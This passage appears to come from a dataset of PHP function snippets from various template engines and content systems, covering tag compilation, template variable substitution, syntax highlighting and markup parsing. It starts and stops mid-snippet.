$p_items;\n\t\tlist(, $spaces, $class, $content, $end) = $markup;\n\t\t$content = htmlentities($content);\n\n\t\tif($spaces == \"\\n\") {\n\t\t\t$begin = \"<pre\".$class.\"><code>\";\n\t\t\t$content = trim($content, \"\\r\\n\");\n\t\t\t$end .= \"</pre>\";\n\t\t}\n\t\telse $begin = \"<code\".$class.\">\";\n\n\t\t$p_items[] = $spaces.$begin.$content.$end;\n\t\treturn \"<THIISpreserve\".(count($p_items)-1).\"/>\";\n\t}", "function yy_r15(){ $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -2]->minor,$this->yystack[$this->yyidx + -1]->minor); }", "function BeginTag($str){\r\n echo \"+TAG:\".$str;\r\n}", "function BeginTag($str){\r\n echo \"+TAG:\".$str;\r\n}", "function _opened_tag($mindless_mode,$as_admin,$source_member,$attribute_map,$current_tag,$pos,$comcode_dangerous,$comcode_dangerous_html,$in_separate_parse_section,$in_html,$in_semihtml,$close,&$len,&$comcode)\n{\n\tglobal $BLOCK_TAGS,$TEXTUAL_TAGS,$CODE_TAGS;\n\n\t$block_tag=isset($BLOCK_TAGS[$current_tag]);\n\n\tif (($block_tag) && ($pos<$len) && ($comcode[$pos]==chr(10)))\n\t{\n\t\t++$pos;\n\t\tglobal $NUM_LINES;\n\t\t++$NUM_LINES;\n\t}\n\n\t$tag_output=new ocp_tempcode();\n\t$textual_area=isset($TEXTUAL_TAGS[$current_tag]);\n\n\t$white_space_area=$textual_area;\n\tif (((($current_tag=='code') || ($current_tag=='codebox')) && (isset($attribute_map['param'])) && ((strtolower($attribute_map['param'])=='php') || (file_exists(get_file_base().'/sources/geshi/'.filter_naughty(strtolower($attribute_map['param'])).'.php')) || (file_exists(get_file_base().'/sources_custom/geshi/'.filter_naughty($attribute_map['param']).'.php')))) || ($current_tag=='php') || ($current_tag=='attachment') || ($current_tag=='attachment2') || ($current_tag=='attachment_safe') || ($current_tag=='menu'))\n\t{\n\t\t$in_separate_parse_section=true;\n\t} else\n\t{\n\t\t// Code tags are white space area, but not textual area\n\t\tif (isset($CODE_TAGS[$current_tag])) $white_space_area=true;\n\t}\n\n\t$in_code_tag=isset($CODE_TAGS[$current_tag]);\n\n\t$attribute_map=array();\n\n\t$formatting_allowed=(($textual_area?1:0) & ($block_tag?1:0))!=0;\n\n//\t\t\t\t\t\tif (in_array($current_tag,$BLOCK_TAGS)) $just_new_line=true;\n\n\tif ($current_tag=='html') $in_html=!$close;\n\telseif ($current_tag=='semihtml') $in_semihtml=!$close;\n\t$status=CCP_NO_MANS_LAND;\n\n\tif (($current_tag=='html') || ($current_tag=='semihtml')) // New state meaning we need to filter the contents\n\t{\n\t\tif (($in_html) || ($in_semihtml))\n\t\t{\n\t\t\tfilter_html($as_admin,$source_member,$pos,$len,$comcode,$in_html,$in_semihtml);\n\t\t}\n\t}\n\n\tif ($mindless_mode)\n\t{\n\t\t$white_space_area=true;\n\t\t$in_separate_parse_section=false;\n\t}\n\n\tif ($current_tag=='quote')\n\t{\n\t\t$comcode_dangerous=false;\n\t\t$comcode_dangerous_html=false;\n\t}\n\n\treturn array($tag_output,$comcode_dangerous,$comcode_dangerous_html,$white_space_area,$formatting_allowed,$in_separate_parse_section,$textual_area,$attribute_map,$status,$in_html,$in_semihtml,$pos,$in_code_tag);\n}", "function yy_r7(){ $this->compiler->tag_nocache = true; $this->_retvalue = $this->cacher->processNocacheCode(\"<?php echo '<?xml';?>\", $this->compiler, true); }", "function mgd_preparse($code)\n{\n // Get style elements\n $code = preg_replace_callback(\"/<\\\\(([a-zA-Z0-9 _-]+)\\\\)>/\", 'mgd_element', $code);\n // Echo variables\n $code = preg_replace_callback(\"%&\\(([^)]*)\\);%i\", 'mgd_variable', $code);\n return $code;\n}", "public function compile($stack)\r\n\t{\r\n\t\tif(empty($stack))\r\n\t\t{\r\n\t\t\treturn '';\r\n\t\t}\r\n\t\telseif(is_array($stack) && isset($stack['name']))\r\n\t\t{\r\n\t\t\t$stack = array($stack);\r\n\t\t}\r\n\t\t\r\n\t\t$str = '';\r\n\t\tforeach((Array) $stack as $element)\r\n\t\t{\r\n\t\t\tif(is_string($element))\r\n\t\t\t{\r\n\t\t\t\t$str .= $this->parse_individual($element);\r\n\t\t\t}\r\n\t\t\telseif( ! empty($element))\r\n\t\t\t{\r\n\t\t\t\t$str .= $this->context->render_tag($element['name'], $element['args'], $element['content']);\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\treturn $str;\r\n\t}", "function tagins($stuffing)\r\n{\r\n\treturn \"<\".$stuffing.\">\";\r\n}", "public function generateCode() {\n $content = \"\";\n foreach ($this->arrTemplates as $template) {\n if (!file_exists($template)) {\n //Template not found\n continue;\n }\n $content .= file_get_contents($template);\n }\n \n foreach ($this->attributes as $key => $val) {\n $content = str_replace($this->placeHolderStart.$key.$this->placeHolderEnd, $val, $content);\n }\n return $content;\n }", "protected function compile()\n\t{\n\t\t$this->Template->anchor = standardize($this->headline) . '-' . $this->id;\n\t}", "static function php_compiler ($space, $html)\n {\n return \"<?php\\n$space$html?>\";\n }", "public function compileTag()\n {\n $classNode = new \\Twig_Node_Expression_Constant('tag_field large ', $this->lineno);\n \n if ($this->hasNode('class')) {\n $classNode = new \\Twig_Node([\n $classNode,\n $this->getNode('class')\n ]);\n }\n $this->setNode('class', $classNode);\n\n \n \n // create list id node\n $this->compiler\n ->write('$context[\\'_fierce_tag_list_id\\'] = trim(preg_replace(\\'/[^a-zA-Z0-9_]+/\\', \\'_\\', ')\n ->subcompile($this->getNode('name'))\n ->raw(\"), '_') . '_tags';\\n\")\n ;\n $listIdNode = new \\Twig_Node_Expression_Name('_fierce_tag_list_id', $this->lineno);\n \n \n // output field\n parent::compileTag();\n \n // output list\n $this->openTag('ul', [\n 'id' => $listIdNode,\n 'class' => 'tag_list'\n ]);\n \n $this->compiler\n ->addDebugInfo($this)\n // the (array) cast bypasses a PHP 5.2.6 bug\n ->write(\"\\$context['_fierce_tag_list_options'] = twig_ensure_traversable(\")\n ->subcompile($this->getNode('options'))\n ->raw(\");\\n\")\n ;\n $this->compiler\n ->write(\"foreach (\\$context['_fierce_tag_list_options'] as \\$fierceTagListOption) {\\n\")\n ->indent()\n ->write(\"print '<li>' . htmlspecialchars(\\$fierceTagListOption) . '</li>';\\n\")\n ->outdent()\n ->write(\"}\\n\");\n ;\n \n self::closeTag('ul');\n \n // add js\n $this->requireScript(\\Fierce\\Env::get('fierce_src') . 'scripts/tag-field.controller.js');\n }", "protected static function pre_processing ($tag, &$attributes) { }", "protected function compile()\n\t{\n\t\tif (TL_MODE == 'BE')\n\t\t{\n\t\t\t$this->strTemplate = 'be_wildcard';\n\t\t\t$this->Template = new \\BackendTemplate($this->strTemplate);\n\t\t}\n\t}", "function yy_r16(){ $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -1]->minor,array()); }", "function startTag($parser, $data){\n global $currentTag;\n $currentTag = $data;\n}", "public function tag()\n\t{\n\t\t/* Example usage:\n\t\t{exp:crush:tag \n\t\t\tfilename=\"/_assets/css/style.css\"\n\t\t\tminify=\"y\"\n\t\t\tvars=\"my_var1=#333|my_var2=20px\"\n\t\t\tattributes=\"media=print|title=monkey\"\n\t\t} \n\t\t*/\n\t\treturn csscrush_tag(\n\t\t\t$this->filename, \n\t\t\t$this->get_params(FALSE, array('filename', 'attributes')),\n\t\t\t$this->attributes\n\t\t);\n\n\t}", "public function do_tags()\n\t{\n\t\tforeach ($this->values as $id => $block)\n\t\t{\n\t\t\tforeach ($block as $name => $replace)\n\t\t\t{\n\t\t\t\t$find = \"{:$name}\";\n\t\t\t\t$this->merged[$id] = str_replace($find, $replace, $this->merged[$id]);\n\t\t\t}\n\t\t}\n\n\t}", "function parse(&$reader, &$ctxt)\r\n\t{\r\n\t\t$parser =& new PhaseParser($reader, $ctxt);\r\n\t\t$output = '';\r\n\t\t\r\n\t\t// NOTE: this method provides an easy way to setup the tag libraries\r\n\t\t$parser->loadTagLibraries();\r\n\r\n\t\twhile ($reader->hasMoreInput())\r\n\t\t{\r\n\t\t\t$output .= $parser->parseElements();\r\n\t\t}\r\n\r\n\t\t// tack on the tag functions, wrapping them in the namespace\r\n\t\t// for this phase context\r\n\t\tif (count($parser->tagFunctions))\r\n\t\t{\r\n\t\t\t$output .= \r\n\t\t\t'<?php' . \"\\n\" .\r\n\t\t\t'class ' . $parser->namespace . ' {' . \"\\n\" .\r\n\t\t\timplode(\"\\n\", array_reverse($parser->tagFunctions)) . \"\\n\" .\r\n\t\t\t'}' . \"\\n\" .\r\n\t\t\t'?>' . \"\\n\";\t\r\n\t\t}\r\n\r\n\t\t// merge sections where php tags have become adjacent (no need for them)\r\n\t\t$output = preg_replace('; *\\?><\\?php *;', ' ', $output);\r\n\r\n\t\treturn $output;\r\n\t}", "function compile_template($template)\n {\n $template = preg_replace('/<\\?xml/i', \"<?php echo '<?xml'; ?>\", $template);\n\n // Compile variables in PHP code\n preg_match_all(\n \"/<[\\?|%]+(php|=)?(.*)[\\?|%]+>/siU\",\n $template,\n $regs,\n PREG_SET_ORDER\n );\n\n for ($i = 0; isset($regs[$i]); $i++) {\n // Fix single quotes\n $parsed = preg_replace_callback(\n \"/=\\s*'(.*)\".preg_quote($this->start).\"([A-Z0-9_]+)\".preg_quote($this->end).\"(.*)';/Usi\",\n array(&$this, '_fix_php_quotes'),\n $regs[$i][0]\n );\n\n $parsed = preg_replace_callback(\n '='.preg_quote($this->start).'([A-Z0-9_]+)'.preg_quote($this->end).'=Usi',\n array(&$this, '_compile_php_var'),\n $parsed\n );\n\n $template = str_replace($regs[$i][0], $parsed, $template);\n }\n\n // Compile variables\n $template = preg_replace_callback(\n '='.preg_quote($this->start).'([A-Z0-9_]+)'.preg_quote($this->end).'=Usi',\n array(&$this, '_compile_var'),\n $template\n );\n\n // Compile condition tags\n $template = preg_replace_callback(\n '='.preg_quote($this->start).'if(not?)?\\s+([A-Z0-9_]+)'.preg_quote($this->end).'=Usi',\n array(&$this, '_compile_condition_start'),\n $template\n );\n\n $template = preg_replace_callback(\n '='.preg_quote($this->start).'endif(not?)?\\s+([A-Z0-9_]+)'.preg_quote($this->end).'=Usi',\n array(&$this, '_compile_condition_end'),\n $template\n );\n\n return $template;\n }", "function vb_highlight(&$code)\n\n{\n\n $code = str_replace('\"\"', get_placeholder(10), $code);\n\n $blocks = array(\n\n array(\n\n 'pattern' => '#\".+?\"#',\n\n 'prefix' => '<span class=\"vb_string\">', \n\n 'suffix' => '</span>'\n\n ),\n\n array(\n\n 'pattern' => \"#'.*#\",\n\n 'prefix' => '<span class=\"vb_comment\">', \n\n 'suffix' => '</span>'\n\n ),\n\n );\n\n \n\n $secondaries = array(\n\n array(\n\n 'pattern' => '!([\\n\\r]|^)\\s*?#.*!',\n\n 'prefix' => '<span class=\"vb_preprocessor\">',\n\n 'suffix' => '</span>'\n\n ),\n\n array(\n\n 'pattern' => '!(\\W|^)(\\.?[0-9][0-9.]*|&[hH][0-9a-fA-F]*)!',\n\n 'replacement' => '<span class=\"vb_number\">$2</span>',\n\n 'keepprefix' => 1\n\n ),\n\n array(\n\n 'pattern' => '~[,=\\+\\-!%\\^&\\*\\(\\)\\<\\>#$|]~',\n\n 'prefix' => '<span class=\"vb_symbol\">',\n\n 'suffix' => '</span>'\n\n )\n\n );\n\n \n\n $kw = array(\n\n array(\n\n 'prefix' => '<span '.get_placeholder(8).'=\"vb_keyword\">',\n\n 'suffix' => '</span>',\n\n 'keywords' => array('addhandler','addressof','andalso','alias','and','ansi','as','assembly','attribute','auto','begin','call','case','catch','cbool','cbyte','cchar','cdate','cdec','cdbl','char','cint','class','clng','cobj','compare','const','continue','cshort','csng','cstr','ctype','declare','default','delegate','dim','do','each','else','elseif','end','erase','error','event','exit','explicit','finally','for','friend','function','get','gettype','global','gosub','goto','handles','if','implement','implements','imports','in','inherits','interface','is','let','lib','like','load','loop','lset','me','mid','mod','module','mustinherit','mustoverride','mybase','myclass','namespace','new','next','not','nothing','notinheritable','notoverridable','on','open','option','or','orelse','overloads','overridable','overrides','paramarray','preserve','property','raiseevent','readonly','redim','rem','removehandler','rset','resume','return','select','set','shadows','shared','step','stop','structure','sub','synclock','then','throw','to','try','typeof','unload','unicode','until','wend','when','while','with','withevents','writeonly','xor')\n\n ),\n\n array(\n\n 'prefix' => '<span '.get_placeholder(8).'=\"vb_type\">',\n\n 'suffix' => '</span>',\n\n 'keywords' => array('boolean','byref','byte','byval','currency','date','decimal','double','enum','false','integer','long','object','optional','private','protected','public','short','single','static','string','true','type','variant')\n\n ),\n\n );\n\n $code = generic_highlight($code, $blocks, $secondaries, array(), $kw);\n\n // put escapes back in\n\n return str_replace(get_placeholder(10), '<span class=\"vb_string\">&quot;&quot;</span>', $code);\n\n}", "function code() {\n\t\t$code_issue_replace = false;\n\t\tif (in_array('replace', $this->args)) {\n\t\t\t$code_issue_replace = true;\n\t\t}\n\t\t$files = $this->files();\n\t\tforeach ( $files as $file ) {\n\t\t\t$code = file_get_contents($file);\n\t\t\t$issues = $this->code_issue_find($code);\n\t\t\tif (!empty($issues)) {\n\t\t\t\tif ($code_issue_replace) {\n\t\t\t\t\t$this->code_issue_replace($file, $code);\n\t\t\t\t} else {\n\t\t\t\t\t$this->out($file);\n\t\t\t\t\tprint_r($issues);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "function replaceTag($tag, $paramstring) {\n # append a space to possible open tags; trim and strip html tags; \n # replace multiple spaces by one space; change a space between quotes to a tilde\n $paramstring = str_replace(\"<\", \" <\", $paramstring);\n $paramstring = str_replace(\", \", \",\", $paramstring);\n $paramstring = strip_tags(trim($paramstring));\n $paramstring = preg_replace(\"{[ \\t\\n\\r]+}\", ' ', $paramstring );\n\n # harder find-and-replace: find spaces between quotes: change them to tildes \n # the regexp can only change one space at a time: do it 10 times to be \"sure\" \n $pattern = \"/=\\\"([^\\\"]*)[ ]/\";\n $replacement = \"=\\\"$1~\";\n if ( preg_match( $pattern, $paramstring ) > 0 ) {\n for ( $i = 0; $i < 10; $i++ ) {\n $paramstring = preg_replace($pattern, $replacement, $paramstring); \n }\n }\n # echo \"<!-- \" . $paramstring . \"-->\"; \n\n $params = explode(\" \", trim($paramstring));\n $result = keyValueInterpreter($params);\n\n if ($tag == \"showall\") {\n navajoInclude($result);\n }\n if ($tag == \"showmessage\") {\n messageInclude($result);\n }\n if ($tag == \"showmethod\") {\n methodInclude($result);\n } \n if ($tag == \"//\") {\n echo \"<!-- \" . $paramstring . \"-->\";\n }\n if ($tag == \"element\") {\n propertyInclude($result);\n }\n if ($tag == \"label\") {\n descriptionInclude($result);\n }\n if ($tag == \"errors\") {\n errorMessageInclude($result);\n }\n if ($tag == \"table\") {\n tableInclude($result);\n }\n if ($tag == \"submit\") {\n submitInclude($result);\n }\n if ($tag == \"service\") {\n callService($result);\n }\n if ($tag == \"setvalue\") {\n valueInclude($result);\n }\n if ($tag == \"setusername\") {\n usernameInclude($result);\n }\n if ($tag == \"classsuffix\") {\n setClassSuffix($result);\n }\n print \"\\n\";\n}", "function templateCode_older() {\r\n\t\tif ($this->template !== \"none\") {\r\n\t\t\tprint('do not use this function 43096809683069836');exit(0);\r\n\t\t\t$bodycode = ReTidy::getBodyCode();\r\n\t\t\tif(strpos($bodycode, '<div class=\"center\">') !== false) {\r\n\t\t\t\tvar_dump(OM::getTagString('abvb<div class=\"center\">adsfds</div>sdsgdsgds', '<div class=\"center\">'));exit(0);\r\n\t\t\t\t$bodycode = substr(OM::getTagString($bodycode, '<div class=\"center\">'), strlen('<div class=\"center\">'), strlen($bodycode)-strlen('<div class=\"center\">')-4);\r\n\t\t\t}\r\n\t\t\t$this->code = str_replace(\"{content}\", $bodycode, file_get_contents($this->template));\r\n\t\t}\r\n\t}", "protected function compile() {\n if (TL_MODE == 'BE') {\n $this->genBeOutput();\n } else {\n $this->genFeOutput();\n }\n }", "function _get_details_comcode_tags()\n{\n\t$tag_list=array(\n\t\t'list'=>array('param'),\n\t\t'indent'=>array('param'),\n\t\t'ins'=>array('cite','datetime'),\n\t\t'del'=>array('cite','datetime'),\n\t\t'b'=>array(),\n\t\t'u'=>array(),\n\t\t'i'=>array(),\n\t\t's'=>array(),\n\t\t'sup'=>array(),\n\t\t'sub'=>array(),\n\t\t'size'=>array('param'),\n\t\t'color'=>array('param'),\n\t\t'highlight'=>array(),\n\t\t'font'=>array('param','color','size'),\n\t\t'align'=>array('param'),\n\t\t'left'=>array(),\n\t\t'center'=>array(),\n\t\t'right'=>array(),\n\t\t'abbr'=>array('param'),\n\t\t'box'=>array('float','dimensions','type','options','param'),\n\t\t'quote'=>array('param','saidless','cite'),\n\t\t'cite'=>array(),\n\t\t'samp'=>array(),\n\t\t'q'=>array(),\n\t\t'var'=>array(),\n\t\t'dfn'=>array(),\n\t\t'address'=>array(),\n\t\t'title'=>array('param','sub','number','base'),\n\t\t'contents'=>array('files','zone','levels','base'),\n\t\t'include'=>array('param'),\n\t\t'concepts'=>array('x_key','x_value'),\n\t\t'concept'=>array('param'),\n\t\t'staff_note'=>array(),\n\t\t'menu'=>array('param','type'),\n\t\t'surround'=>array('param'),\n\t\t'php'=>array('scroll','numbers'),\n\t\t'codebox'=>array('param','numbers'),\n\t\t'sql'=>array('scroll','numbers'),\n\t\t'code'=>array('param','scroll','numbers'),\n\t\t'tt'=>array(),\n\t\t'no_parse'=>array(),\n\t\t'semihtml'=>array(),\n\t\t'html'=>array(),\n\t\t'overlay'=>array('param','x','y','width','height','timein','timeout'),\n\t\t'random'=>array('string','X'),\n\t\t'pulse'=>array('param','min','max'),\n\t\t'ticker'=>array('param','speed'),\n\t\t'shocker'=>array('left','right','min','max'),\n\t\t'jumping'=>array('string'),\n\t\t'sections'=>array('default','name'),\n\t\t/*'section_controller'=>array(),*/\n\t\t'big_tabs'=>array('default','switch_time','name'),\n\t\t/*'big_tab_controller'=>array(),*/\n\t\t/*'tab'=>array('param'),*/\n\t\t'tabs'=>array('default','name'),\n\t\t'carousel'=>array('param'),\n\t\t'hide'=>array('param'),\n\t\t'tooltip'=>array('param'),\n\t\t/*'block'=>array(),*/\n\t\t'if_in_group'=>array('param','type'),\n\t\t'flash'=>array('param'),\n\t\t'img'=>array('align','float','param','title','rollover','refresh_time'),\n\t\t'upload'=>array('type','param'),\n\t\t'exp_thumb'=>array('float'),\n\t\t'exp_ref'=>array('param'),\n\t\t'thumb'=>array('align','param','caption','float'),\n\t\t'url'=>array('param','title','target'),\n\t\t'email'=>array('param','title','subject','body'),\n\t\t'reference'=>array('type','param'),\n\t\t'page'=>array('param'),\n\t\t'snapback'=>array('param','forum'),\n\t\t'post'=>array('param','forum'),\n\t\t'topic'=>array('param','forum'),\n\t\t'attachment'=>array('description','filename','type','thumb','float','align','width','height','thumb_url'),\n\t);\n\n\t//'attachment_safe'=>array('description','filename','type','width','height','align','float','thumb_url'),\tMerged into attachment in UI\n\n\tif (addon_installed('ecommerce'))\n\t{\n\t\t$tag_list['currency']=array('param','bracket');\n\t}\n\n\tksort($tag_list);\n\n\t/* // Helps find missing tags\n\tunset($VALID_COMCODE_TAGS['section']);\n\tunset($VALID_COMCODE_TAGS['section_controller']);\n\tunset($VALID_COMCODE_TAGS['tab']);\n\tunset($VALID_COMCODE_TAGS['big_tab']);\n\tunset($VALID_COMCODE_TAGS['big_tab_cntroller']);\n\tunset($VALID_COMCODE_TAGS['acronym']);\n\tunset($VALID_COMCODE_TAGS['internal_table']);\n\tunset($VALID_COMCODE_TAGS['external_table']);\n\tunset($VALID_COMCODE_TAGS['acronym']);\n\tunset($VALID_COMCODE_TAGS['block']);\n\tunset($VALID_COMCODE_TAGS['attachment']);\n\tunset($VALID_COMCODE_TAGS['attachment2']);\n\tunset($VALID_COMCODE_TAGS['attachment_safe']);\n\tunset($VALID_COMCODE_TAGS['thread']);\n\tforeach (array_keys($tag_list) as $tag)\n\t{\n\t\tglobal $VALID_COMCODE_TAGS;\n\t\tunset($VALID_COMCODE_TAGS[$tag]);\n\t}\n\t@var_dump($VALID_COMCODE_TAGS);exit();*/\n\t$custom_tag_list=array();\n\n\tglobal $DANGEROUS_TAGS,$TEXTUAL_TAGS;\n\n\tif ((get_forum_type()=='ocf') && (addon_installed('custom_comcode')))\n\t{\n\t\t$custom_tags=$GLOBALS['FORUM_DB']->query_select('custom_comcode',array('tag_title','tag_description','tag_example','tag_parameters','tag_replace','tag_tag','tag_dangerous_tag','tag_block_tag','tag_textual_tag'),array('tag_enabled'=>1));\n\t\tforeach ($custom_tags as $tag)\n\t\t{\n\t\t\t$custom_tag_list[$tag['tag_tag']]=$tag;\n\t\t\tif ($tag['tag_textual_tag']==1) $TEXTUAL_TAGS[$tag['tag_tag']]=1;\n\t\t\tif ($tag['tag_dangerous_tag']==1) $DANGEROUS_TAGS[$tag['tag_tag']]=1;\n\t\t}\n\t\tif ((isset($GLOBALS['FORUM_DB'])) && ($GLOBALS['SITE_DB']->connection_write!=$GLOBALS['FORUM_DB']->connection_write))\n\t\t{\n\t\t\t$custom_tags=$GLOBALS['SITE_DB']->query_select('custom_comcode',array('tag_title','tag_description','tag_example','tag_parameters','tag_replace','tag_tag','tag_dangerous_tag','tag_block_tag','tag_textual_tag'),array('tag_enabled'=>1));\n\t\t\tforeach ($custom_tags as $tag)\n\t\t\t{\n\t\t\t\t$custom_tag_list[$tag['tag_tag']]=$tag;\n\t\t\t\tif ($tag['tag_textual_tag']==1) $TEXTUAL_TAGS[$tag['tag_tag']]=1;\n\t\t\t\tif ($tag['tag_dangerous_tag']==1) $DANGEROUS_TAGS[$tag['tag_tag']]=1;\n\t\t\t}\n\t\t}\n\t}\n\n\t// From Comcode hooks\n\t$hooks=find_all_hooks('systems','comcode');\n\tforeach (array_keys($hooks) as $hook)\n\t{\n\t\trequire_code('hooks/systems/comcode/'.filter_naughty_harsh($hook));\n\t\t$object=object_factory('Hook_comcode_'.filter_naughty_harsh($hook),true);\n\n\t\t$tag=$object->get_tag();\n\t\t$custom_tag_list[$tag['tag_tag']]=$tag;\n\n\t\tif ($tag['tag_textual_tag']==1) $TEXTUAL_TAGS[$tag['tag_tag']]=1;\n\t\tif ($tag['tag_dangerous_tag']==1) $DANGEROUS_TAGS[$tag['tag_tag']]=1;\n\t}\n\n\treturn array($tag_list,$custom_tag_list);\n}", "protected function compile()\n {\n $this->addImageToTemplate($this->Template, $this->arrData);\n }", "function lapa_compiler_php_code($act, $parser)\n{\n if ($act == 1) {\n $buff = '';\n if (!isset(LapaEngineParser::$_plugins_property['php_code'])) {\n LapaEngineParser::$_plugins_property['php_code'] = array();\n }\n $attr = $parser->parseDirectiveAttributes();\n $name = isset($attr['name']) ? $attr['name']: 'default';\n $parser->newStackCommand(array('php_code', $name));\n $parser->_outputNew();\n }else {\n if ( (!$stack_commands = $parser->getStackCommand() ) || $stack_commands[0] != 'php_code' ) {\n throw new LapaEngineException('Неверный вызов \"/php_code\" cтрока %s.', $parser->templateLine());\n }\n /* вырезали буффер php кода, его надо еще вернуть */\n $buff = $parser->_outputGet();\n /* создаем переменную с значением */ \n LapaEngineParser::$_plugins_property['php_code'][$stack_commands[1]] = $stack_commands[1];\n $buff .= \"\\$_var_php_code['{$stack_commands[1]}'] = '\" . preg_replace(\"/(?!\\\\\\\\)\\\\'/\", '\\\\\\'','<?php ' . str_replace('\\\\', '\\\\\\\\',$buff) . ' ?>') . \"';\"; \n $parser->removeStackCommand(); \n LapaEngineParser::$_plugins_property['php_code'][$stack_commands[1]] = $stack_commands[1];\n }\n return $buff;\n}", "function do_shortcodes_in_html_tags($content, $ignore_html, $tagnames)\n {\n }", "function parseHTML(){\n\t\t$code = preg_replace_callback('~(href|src|codebase|url|action)\\s*=\\s*([\\'\\\"])?(?(2) (.*?)\\\\2 | ([^\\s\\>]+))~isx',array('self','parseExtURL'),$this->source);\n\t\t$code = preg_replace_callback('~(<\\s*style.*>)(.*)<\\s*/\\s*style\\s*>~iUs',Array('self','parseCSS'),$code);\n\t\t$code = preg_replace_callback('~(style\\s*=\\s*)([\\'\\\"])(.*)\\2~iUs',Array('self','parseStyle'),$code);\n\t\t$code = preg_replace_callback('~<script(\\s*.*)>(.*)<\\s*/\\s*script>~iUs',Array('self','parseScriptTag'),$code);\n\t\t$this->output = $code;\n\t}", "function smarty_postfilter_process_tags ($source, Smarty_Internal_Template $template)\n{\n\t$extra = array (\n\t\t'include' => array(),\n\t\t'addon' => array(),\n\t\t'module' => array(),\n\t);\n\t$addSection = false;\n\tforeach ($template->used_tags as $tag) {\n\t\tif (!in_array($tag[0], array('addon','include','module','listing'))) {\n\t\t\t//not addon or include tag\n\t\t\tcontinue;\n\t\t}\n\t\t\t\n\t\t$vars = array();\n\t\tforeach ($tag[1] as $var) {\n\t\t\tforeach ($var as $name => $val) {\n\t\t\t\t$vars[$name] = trim($val,\"'\\\"\");\n\t\t\t}\n\t\t}\n\t\tif ($tag[0]=='include') {\n\t\t\t//go through includes as well\n\t\t\t$info = array();\n\t\t\t\n\t\t\t$info['file'] = $vars['file'];\n\t\t\t\n\t\t\tif (isset($vars['g_type'])) {\n\t\t\t\t$info['g_type'] = $vars['g_type'];\n\t\t\t}\n\t\t\tif (isset($vars['g_resource'])) {\n\t\t\t\t$info['g_resource'] = $vars['g_resource'];\n\t\t\t}\n\t\t\t//make key such that if same include is used multiple times, it is still\n\t\t\t//only added to the array once\n\t\t\t$extra['include'][implode(':',$info)] = $info;\n\t\t\tunset ($info);\n\t\t} else if ($tag[0]=='module') {\n\t\t\tif (isset($vars['tag']) && $vars['tag']) {\n\t\t\t\t$extra['module'][$vars['tag']] = $vars['tag'];\n\t\t\t}\n\t\t} else if ($tag[0] == 'addon' || $tag[0]=='listing') {\n\t\t\tif (!isset($vars['addon']) || !isset($vars['tag']) || $vars['addon']=='core') {\n\t\t\t\t//failsafe, required info missing, or this is a core tag\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t//Note: Do NOT check to see if addon is enabled and has the tag\n\t\t\t//able to be used at this point, or template would need to be re-compiled\n\t\t\t//every time addon is enabled/disabled\n\t\t\t\n\t\t\t$info = array();\n\t\t\t\n\t\t\t$info['addon'] = $vars['addon'];\n\t\t\t$info['tag'] = $vars['tag'];\n\t\t\t\n\t\t\t//make key such that if the same addon tag is used multiple times, it is\n\t\t\t//still only added to the array once\n\t\t\t$extra['addon'][implode(':',$info)] = $info;\n\t\t\tunset($info);\n\t\t}\n\t\t$addSection = true;\n\t}\n\t$template->mustCompile();\n\tif ($addSection) {\n\t\t//there is stuff to process\n\t\t\n\t\t$section = '<?php $_smarty_tpl->used_tags = '.var_export($extra,1).'; ?>';\n\t\t\n\t\t$source = str_replace('/*/%%SmartyHeaderCode%%*/?>','/*/%%SmartyHeaderCode%%*/?>'.$section,$source);\n\t}\n\treturn $source;\n}", "private function _compile_metas(){\n\t\t$compiled_metas = \"\";\n\t\tforeach($this->metas as $meta){\n\t\t\t$compiled_metas .= \"\\t\".'<meta name=\"'.$meta['name'].'\" content=\"'.$meta['content'].'\">'.\"\\n\";\n\t\t}\n\t\tif ($compiled_metas == \"\") return \"\";\n\t\t\n\t\treturn \"<!-- START Compiled META -->\\n\".$compiled_metas.\"\\t<!-- END Compiled META -->\\n\";\n\t}", "protected function compile(): void\n {\n if (System::getContainer()->get('contao.routing.scope_matcher')->isBackendRequest(System::getContainer()->get('request_stack')->getCurrentRequest() ?? Request::create(''))) {\n $this->strTemplate = 'be_wildcard';\n $this->Template = new BackendTemplate($this->strTemplate);\n }\n\n $this->Template->tabsElement = $this->tabs_element;\n }", "function addScriptTags($text) {\n\t// local variables used to execute this task\n\t$tag_content_start = 0;\n\t$tag_end = 0;\n\t$strs_final = array(\"color_coded\" => \"\", \"script\" => \"\");\n\t$str_temp = \"\";\n\t$re_function_declaration = \"/(function[\\t ]+)(\\w+[\\t ]*)\\(([^\\)]*)\\)([\\t ]*{)/i\";\n\t$re_key_word = \"/([\\w])?(new|while|for|break|continue|try|catch|return|if|else|typeof)([^\\w])/i\";\n\t$re_math_operator = \"/([^<])(\\++|\\-+|\\*|\\/)/i\";\n\t$re_logic_operator = \"/(&&|\\|\\||!=|={1,3}|<|>)/i\";\n\t$re_object = \"/(Object|var|document)/i\";\n\t$re_value = \"/(\\d|true|false|null)/i\";\n\t$re_method = \"/\\.(\\w+)/i\";\n\t$re_js_string = \"/(\\\"[^\\\"]*\\\")/i\";\n\t$re_js_regexp = \"/([^<>])(\\/[^\\/]+\\/[gmi]*)/i\";\n\n\t// loop while there are script tags to process\n\twhile (preg_match(\"/\\<script[^\\<]*\\>/i\", $text, $regex_matches, PREG_OFFSET_CAPTURE) !== false && !empty($regex_matches)) {\n\t\t// get the index of the character after this opening tag\n\t\t$tag_content_start = $regex_matches[0][1] + strlen($regex_matches[0][0]);\n\n\t\t// add the text between the last processed tag and the start of this style tag\n\t\t$strs_final[\"color_coded\"] .= substr($text, 0, $regex_matches[0][1]);\n\n\t\t// find the index of the next closing script tag\n\t\t$tag_end = strpos($text, \"</script>\", $tag_content_start);\n\n\t\t// check if a closing script tag was found\n\t\tif ($tag_end === false) {\n\t\t\t// it wasn't\n\t\t\t// assume the tag goes to the end of the text\n\t\t\t$tag_end = strlen($text);\n\t\t}\n\n\t\t// get the text inside this script tag\n\t\t$str_temp = substr($text, $tag_content_start, $tag_end - $tag_content_start);\n\n\t\t// store this tag's content without the color coding tags\n\t\t// ony add function declarations --> no function calls\n\t\t$strs_final[\"script\"] .= processScriptText($re_function_declaration, $str_temp);\n\n\t\t// add the logic operator spans\n\t\t$str_temp = preg_replace($re_logic_operator, \"<span class='js_logicoperator'>$1</span>\", $str_temp);\n\n\t\t// add the math operator 